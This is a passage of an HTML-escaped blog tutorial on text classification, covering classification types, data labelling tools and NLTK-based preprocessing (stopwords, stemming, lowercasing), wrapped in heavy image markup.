  &lt;/figure&gt;   &lt;p&gt;In relation to the examples listed, we can collect the textual classification tasks with respect to three different types:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Binary classification&lt;/strong&gt;: the number of classes/labels to associate the contents with is equal to two&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Multiclass classification&lt;/strong&gt;: the number of classes/labels to associate the contents with is equal to n, with n&amp;gt; 2&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Multiclass multilabel classification&lt;/strong&gt;: multiclass classification where each content can be associated with more than one class, and therefore
have more than one label&lt;/li&gt;&lt;/ul&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:674px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/9a722eef46509af1d8fc7eb94aeff424/fdaf8/multiclass.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:60%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;240\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20240\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M151%2051h3v96h-3l-3%201c1%202%206%201%208%200l1-24%201-23%2011-1c9%200%209%200%209%202v2l4-2%204-2v31h61v-14l1-14a276%20276%200%200119%2025c0%201%204%203%205%202%201%200%200-5-2-5l-4-4-8-9c-5-6-7-10-3-7l7%205c3%201%205%203%205%204l3%201c2%200%202%200%202-2l-1-2-2-1-10-4-8-5%208-1%208%201c1%201%205-1%205-2s-4-3-5-2l-8%201h-8l3-2c8-6%2015-9%2015-8%200%202%203-2%203-4l-2-1-3%201c0%201-3%204-10%208-6%203-6%203%201-5a384%20384%200%200014-19c-1-1-5%201-5%203%201%201-5%209-16%2021l-4%205V67h-61v16c0%2016%200%2017-4%2013-3-1-4-1-4%201l-10%201h-11V50h-5c-3%200-4%200-1%201M88%2088v18l6-1%207-1h3l4-1c1-3%205-4%205-2s2%204%207%204l8%201h4V70H88v18m0%2021v28h4c4%200%204%200%204-3v-3l1%203c1%203%201%203%201-2v-5l1%205c1%204%202%205%203%205v-1l1-2c1-1%201-1%201%201l1%202c2%200%201-4-1-4l-1-4v-2l1%202%203%203%201%203%201%203h23v-30h-22l-22%201m102%2033v8c1%202%201%202-1%202l-1%201c1%201%200%202-4%201h-4v14c0%2011%201%2015%202%2016s1%201%201-2l-2-15v-11h13v9l-1%2014v6h-4c-4%200-5%200-4%203%200%202%204%203%204%201h37c3%201%203%200-1-1l-6-5-7-5c-2-2-2-4%201-4l11%208%203%201-9-8c-1-1%203-1%2020-1l32-1c12-1%2012-1%2012%205l1%205h-16l-28%201c-12%200-15%201-9%203l2%202%203%201%202%201h-1l-5%203-3%203%205%203c5%203%205%203%209%202l3-2%205-4c4-3%204-4%202-5h-1c1%202-4%206-9%208-3%202-4%202-7%200-6-3-4-7%202-6s8-2%205-5c-2-2%202-2%205%200l21%201h23l1-2c0-2-1-2-4-2h-4l-1-13-1-14%207-1c6-1%207-1%2012%201s11%202%2015-1c6-5%207-11%201-11l-4-2c-2-1-2-1-6%204-2%202-2%202-6%201l-12-4-8-2a6376%206376%200%2001-90-1m-110%205c0%206%201%207%204%205h4c5%204%2013%205%2017%201h2c1%202%209%205%2011%205l6-2%204-2%204%203c4%205%206%205%206%202%201-11%200-13-7-10h-4l-5-2c-4-2-10-1-14%202-1%201-1%201-2-1s-6-5-9-5l-6%203-4%202-4-3-3-3v5m133-4v4l-1-1-3-1-1-1-3-1c-4%200-5%202-2%204h4c2-2%203%200%201%202l-2%203h2l7-1%2010-3h10c1%201%201%200%201-2v-3h-23m26%202c0%202%200%203%204%203l7%203c4%201%206%201%2013-2l6-2%205-3-18-1-17-1v3m28%2021l-19%203c-6%200-9%201-9%202-1%202%202%202%2012%201l24-1h5v-3c0-5%200-5-13-2m-175%202c0%202-1%202-4%202h-4v32h52v-35h-22l-22%201m101%207v5l1%203h23l-4-2-5-4-1-2-1-1c0-3-12-2-13%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/9a722eef46509af1d8fc7eb94aeff424/c85cb/multiclass.webp 300w,/static/9a722eef46509af1d8fc7eb94aeff424/e88ff/multiclass.webp 600w,/static/9a722eef46509af1d8fc7eb94aeff424/853dc/multiclass.webp 674w&quot; sizes=&quot;(max-width: 674px) 100vw, 674px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/9a722eef46509af1d8fc7eb94aeff424/5a46d/multiclass.png 300w,/static/9a722eef46509af1d8fc7eb94aeff424/0a47e/multiclass.png 600w,/static/9a722eef46509af1d8fc7eb94aeff424/fdaf8/multiclass.png 674w&quot; sizes=&quot;(max-width: 674px) 100vw, 674px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 2 - Multiclass Classification: Medical Diagnoses&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/9a722eef46509af1d8fc7eb94aeff424/fdaf8/multiclass.png&quot; title=&quot;Figure 2 - Multiclass Classification: Medical Diagnoses&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 2 - Multiclass Classification: Medical Diagnoses&lt;/figcaption&gt;
  &lt;/figure&gt;   &lt;p&gt;To face a textual classification task according to one of these approaches it is necessary to carry out these three steps:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;label the data&lt;/strong&gt;: build a training set of textual contents labeled with the features against which you want to perform the classification&lt;/li&gt;&lt;li&gt;&lt;strong&gt;transform and process the text&lt;/strong&gt;: the textual contents need both a preprocessing phase, necessary to put the textual content into
a more suitable form for the task to be carried out, and a phase of transformation of the contents to make them readable and analysable by the algorithms
of machine learning that can be used&lt;/li&gt;&lt;li&gt;&lt;strong&gt;model training&lt;/strong&gt;: the actual phase of training the model using some reference algorithm&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Let&amp;#x27;s see in the following sections how to accomplish this.&lt;/p&gt;&lt;h1 id=&quot;data-labeling&quot;&gt;Data labeling&lt;/h1&gt;&lt;p&gt;The data labeling phase is fundamental to be able to train a Machine Learning model for text classification.
Being a supervised approach, nothing can be done without labeled data.&lt;/p&gt;&lt;p&gt;It may happen that you want to build applications for which you already have labeled data. This is because you already have a historian
of data tagged thanks to the work done in the past by users, rather than by the employees of the task. &lt;br/&gt;
Let&amp;#x27;s think about the Ticket Classification task. &lt;br/&gt;
If the goal is to create a Machine Learning model capable of classifying support tickets with respect
to their category, i must have a dataset of past tickets tagged with their respective categories. &lt;br/&gt;
I could easily find this data by using all the past tickets that employees have already associated with their categories when
they did this work &amp;quot;by hand&amp;quot; to direct the ticket to the most suitable department or person.
In a context of this type, it is enough for me to find the data and place them in a readable and usable form for training. Typically a &lt;strong&gt;csv&lt;/strong&gt; file.&lt;/p&gt;&lt;p&gt;If you do not have labeled data available, and therefore only have the textual content to be used for training,
then you can use textual annotators to tag the data in an agile and efficient way. &lt;br/&gt;
&lt;a href=&quot;https://github.com/doccano/doccano&quot;&gt;&lt;strong&gt;Doccano&lt;/strong&gt;&lt;/a&gt;, for example, is a well structured and open source annotator. &lt;br/&gt;
Another annotator, this one for a fee, is &lt;a href=&quot;https://prodi.gy/&quot;&gt;&lt;strong&gt;Prodigy&lt;/strong&gt;&lt;/a&gt;. It is an advanced and enhanced annotator through
the concept of active learning; is developed by &lt;a href=&quot;https://explosion.ai/&quot;&gt;Explosion.ai&lt;/a&gt;,
creators of the opensource library of NLP &lt;a href=&quot;https://spacy.io/&quot;&gt;&lt;strong&gt;Spacy&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Once annotated, the data can be easily exported in &lt;strong&gt;csv&lt;/strong&gt; format and then read and manipulated through ad hoc libraries such as Pandas.&lt;/p&gt;&lt;h1 id=&quot;preprocessing-and-data-transformation&quot;&gt;Preprocessing and data transformation&lt;/h1&gt;&lt;h2 id=&quot;1-preprocessing-and-cleaning-of-the-text&quot;&gt;1. Preprocessing and cleaning of the text&lt;/h2&gt;&lt;p&gt;L&amp;#x27;attività di trasformazione e preprocessing dei dati è molto importante in qualsiasi task di Machine Learning, ma nel contesto della Classicazione
testuale e più in generale dell&amp;#x27;elaborazione del linguaggio naturale è molto rilevante.&lt;/p&gt;&lt;p&gt;Textual content generally contains a lot of information within it, and not all of this information is relevant to the Classification
to carry out. &lt;br/&gt;
Much of the textual content very often has no relevance to the result produced; on some occasions it can represent instead
noise that distorts the classification produced by the model. &lt;br/&gt;
For example in the context of Sentiment Analysis, in a review, I can find adjectives like &lt;em&gt;very good&lt;/em&gt; rather than &lt;em&gt;very bad&lt;/em&gt; which have a
specific weight in identifying the sentiment of the content. Other terms, on the other hand, say nothing in this sense.&lt;/p&gt;&lt;p&gt;Furthermore, in natural language a concept can be expressed with terms that have the same root but different declension. Those terms represent
the same concept, but having a different declination the Machine Learning model could make it difficult to understand it.
And punctuation, too, very often just introduces noise into the text analysis.&lt;/p&gt;&lt;p&gt;For all these reasons it is very important to carry out preprocessing activities of the text in order to minimize all effects as much as possible
unwanted caused by irrelevant information present in the text.&lt;/p&gt;&lt;p&gt;These activities can be of different types and deeply linked to the task that is taking place. However, there are some preprocessing activities that
they are almost always done when approaching nlp tasks.&lt;/p&gt;&lt;p&gt;A very simple first activity is that of &lt;strong&gt;tokenization&lt;/strong&gt; of the text. &lt;br/&gt;
The following actions can then be performed:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Remove stopwords&lt;/strong&gt;: remove from the text all those parts of the speech which in a language do not usually represent information
relevant, such as articles, propositions, conjunctions, etc... Furthermore, this activity can be carried out by stopping on the basis of a
your own list of words to remove, based on the context and the type of domain you are working on.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Remove punctuation&lt;/strong&gt;: punctuation almost never represents relevant information and therefore better to remove it&lt;/li&gt;&lt;/ul&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1174px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/ce89faede85333e4a95bb26990b4b42c/04784/prep1.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:44.99999999999999%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;180\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20180\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M159%2010c2%208%203%209%205%204l1-3v3c1%204%203%204%205-1%201-3%201-3%201-1%200%205%206%207%208%203%201-5-2-8-6-6h-2c0-2-2-1-3%202v4l-2-4-1-3-2%203-2%203v-3l-2-3v2m145%20127l38%201%2037-1-37-1-38%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/ce89faede85333e4a95bb26990b4b42c/c85cb/prep1.webp 300w,/static/ce89faede85333e4a95bb26990b4b42c/e88ff/prep1.webp 600w,/static/ce89faede85333e4a95bb26990b4b42c/963af/prep1.webp 1174w&quot; sizes=&quot;(max-width: 1174px) 100vw, 1174px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/ce89faede85333e4a95bb26990b4b42c/5a46d/prep1.png 300w,/static/ce89faede85333e4a95bb26990b4b42c/0a47e/prep1.png 600w,/static/ce89faede85333e4a95bb26990b4b42c/04784/prep1.png 1174w&quot; sizes=&quot;(max-width: 1174px) 100vw, 1174px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 3 - Stopwords and punctuation removal&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/ce89faede85333e4a95bb26990b4b42c/04784/prep1.png&quot; title=&quot;Figure 3 - Stopwords and punctuation removal&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 3 - Stopwords and punctuation removal&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Stemming&lt;/strong&gt;: stemming is a very common process in search engines which consists in reducing a term from the inflected form to its root,
with the aim of minimizing the effect of the presence of different morphological variations which however have the same semantic meaning.
There are two approaches to stemming. A first based on a dictionary, similar to what happens for the removal of stopwords.
A second rule-based algorithmic type, for example &lt;a href=&quot;https://tartarus.org/martin/PorterStemmer/&quot;&gt;Porter&amp;#x27;s Stemmer&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Lowercasing&lt;/strong&gt;: transform all text into lowercase characters in order to avoid differentiation based on the character&lt;/li&gt;&lt;/ul&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1073px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/b30898bfad0e0549652f32a212eb2826/e24fe/prep2.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:51%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;204\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20204\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M317%20140l-2%202-3%201h-2c-1-2-5-1-6%201s-2%203-3%202c-2-2-3-3%200-3%201-1%201-1-1-1-3%200-4%202-1%204s3%203%200%203h-2c0%202%205%201%205-1h2c1%202%206%203%206%201l-2-1c-3%201-3-2%200-2%202-1%203%200%203%202l4%202c3%200%203%200%203-6v-6l-1%202\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/b30898bfad0e0549652f32a212eb2826/c85cb/prep2.webp 300w,/static/b30898bfad0e0549652f32a212eb2826/e88ff/prep2.webp 600w,/static/b30898bfad0e0549652f32a212eb2826/e9b9c/prep2.webp 1073w&quot; sizes=&quot;(max-width: 1073px) 100vw, 1073px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/b30898bfad0e0549652f32a212eb2826/5a46d/prep2.png 300w,/static/b30898bfad0e0549652f32a212eb2826/0a47e/prep2.png 600w,/static/b30898bfad0e0549652f32a212eb2826/e24fe/prep2.png 1073w&quot; sizes=&quot;(max-width: 1073px) 100vw, 1073px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 4 - Stemming e lowercasing&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/b30898bfad0e0549652f32a212eb2826/e24fe/prep2.png&quot; title=&quot;Figure 4 - Stemming e lowercasing&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 4 - Stemming e lowercasing&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;NLP libraries like &lt;a href=&quot;https://www.nltk.org/&quot;&gt;Nltk&lt;/a&gt; or &lt;a href=&quot;https://spacy.io/&quot;&gt;Spacy&lt;/a&gt; offer pre-defined functionality to perform these tasks. &lt;br/&gt;
Let&amp;#x27;s see for example how to carry out these activities through Nltk.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;0&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; nltk.corpus &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; stopwords  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; nltk.tokenize &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; word_tokenize&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; nltk.stem &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; PorterStemmer &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;example_sent = &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;&amp;quot;&amp;quot;This is a sample sentence, &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk8&quot;&gt;                  showing off the stop words filtration.&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# stopwords list &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;stop_words = &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(stopwords.words(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;english&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# stemmer&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;ps = PorterStemmer() &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# tokenization&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;word_tokens = word_tokenize(example_sent)  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# stoppping&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;filtered_sentence = [w &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; w &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; word_tokens &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;not&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; w &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; stop_words]  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# stemming&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;stemmed_sentence = [ps.stem(w) &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; w &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; filtered_sentence]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk11&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(word_tokens)  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk11&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(filtered_sentence)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk11&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(stemmed_sentence)   &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 1 - Preprocessing of the text&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h2 id=&quot;2-text-transformation&quot;&gt;2. Text transformation&lt;/h2&gt;&lt;p&gt;Once the preprocessing activities on the text have been completed, an important step follows which is the transformation of the contents into a form
such that it can be given as input to the Machine Learning algorithms. &lt;br/&gt;
Algorithms are not able to directly analyze textual words, and therefore a transformation activity must be carried out in a representation
numerical and/or vectorial.&lt;/p&gt;&lt;p&gt;There are several methods for representing textual content. Each of this representation uses the concept of vocabulary.
Let&amp;#x27;s see what they are and how they work.&lt;/p&gt;&lt;h3 id=&quot;bag-of-words&quot;&gt;Bag of Words&lt;/h3&gt;&lt;p&gt;The &lt;a href=&quot;https://en.wikipedia.org/wiki/Bag-of-words_model&quot;&gt;&lt;strong&gt;Bag of Words&lt;/strong&gt;&lt;/a&gt; model consists of a vector representation where each textual content is transformed
into a V-dimensional vector, with V representing the cardinality of the vocabulary.
In particular we will have that each component of the vector will assume a value equal to zero if the term is not present, otherwise a corresponding value
the number of occurrences of that term in the text.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:270px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/86759365b69d7e20e28699da2ac86a6e/01bf6/bow.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:86.66666666666667%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;347\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20347\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M48%2059v27h108V32H48v27m110%200v27h67V32h-67v27m69%200v27h68V32h-68v27m70%200v27h69V32h-69v27m-130-6l-1%209%201%207h4c6%200%209-2%209-5l2%201c2%205%209%206%2010%202%201-2%201-2%203%201%204%203%2010%201%2010-3%200-2-2-1-4%201-1%202-4%200-5-3%200-3%203-5%205-3%203%202%204%201%203-1-2-3-7-3-9%200l-2%202-1-2c-1-2-7-3-9%200-2%201-2%201-3-2l-3-4h-10m71%200l-1%208v8h5c8%200%2012-9%206-14-2-3-9-4-10-2m70%200l-1%208v8h5c8%200%2012-9%207-15-3-2-10-3-11-1m-55%205l-1%206c1%206%208%208%2011%202%201-2%201-2%201%200%202%205%2011%204%2011-1%200-1-1-1-3%201-3%203-7-1-5-5%201-2%202-2%205-1%202%202%204%201%202-2-2-2-8-1-9%202l-1%202-1-2c-2-3-8-4-10-2m70%201c-4%207%203%2014%208%209%203-3%203-3%204-1%202%203%206%203%208%201%203-3%202-5-1-2-3%202-5%201-5-3%200-3%202-5%204-3s4%201%203-1-6-3-8%200h-4c-2-3-8-2-9%200M48%20115v26h108V88H48v27m0%2055v26h108v-53H48v27m204-6l-1%203h2c1-3%205-3%205%200l-2%202-2%201%202%201c2%201%203%205%200%205-1%201-2%200-3-1-2-2-4-1-2%202%201%202%206%203%208%200h4c4%204%2013-1%209-5v-5c0-2%200-3-3-4s-7%201-7%204h3c0-3%205-2%205%200%200%200-1%202-3%202l-2%201%202%201c3%201%204%204%201%205-3%202-8-4-8-8%200-6-4-8-8-4m78-1c-6%202-5%2016%202%2016%205%200%207-12%203-15-3-2-3-2-5-1m-224%202l-2%202c-2%200-3%201-3%205%200%203-1%205-2%205-2%200-3-2-2-4v-4c-1-4-3-2-3%203%200%206%202%207%207%206%203%200%203%200%203-5l1-5%201%204c0%204%201%207%203%207v-14h-3m8%203c-4%204-2%2011%203%2011%203%200%206-4%206-6%200-6-6-9-9-5m-66%2057v26h108v-53H48v27m141-7c-2%201-4%206-4%209%202%2010%2012%209%2012-1%200-7-3-10-8-8m63%201l-1%203h2c1-2%205-3%205%200l-2%202-2%201%202%201c3%201%203%205%200%205-2%200-3-1-3-2-1-1-3-1-3%201%200%204%207%205%209%202%202-2%202-2%204%200%204%204%2011%201%209-5v-5c0-4-4-6-7-4s-4%203-2%205l2-1c0-1%201-2%203-2%203%200%202%203-1%204l-2%201%202%201c4%201%204%205%200%205l-3-1-1-2c-1%201-3-2-3-6%200-5-4-7-8-3m82%200c-4%203-2%209%203%209l3%201c0%202-3%202-5%201-3-1-4%201-1%203%204%203%209-1%209-7%200-8-4-11-9-7m-194%205c-3%204-2%208%203%209%203%202%205%200%206-5%200-6-5-9-9-4m-92%2056v27h108v-55H48v28m34%201v8l4%201c3%200%207-2%207-5l1%201c3%204%208%205%2010%202%202-2%201-2-2-1-2%201-5%201-5-1l4-1c4%200%204%200%204-2%200-6-7-7-10-2l-1%202-2-2c-1-3-2-3-6-3l-2-2-1-2c-1-1-1%202-1%207m177-7l-3%205c-2%208%205%2015%209%209%205-6%200-16-6-14\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/86759365b69d7e20e28699da2ac86a6e/3e767/bow.webp 270w&quot; sizes=&quot;(max-width: 270px) 100vw, 270px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/86759365b69d7e20e28699da2ac86a6e/01bf6/bow.png 270w&quot; sizes=&quot;(max-width: 270px) 100vw, 270px&quot; type=&quot;image/png&quot;/&gt;
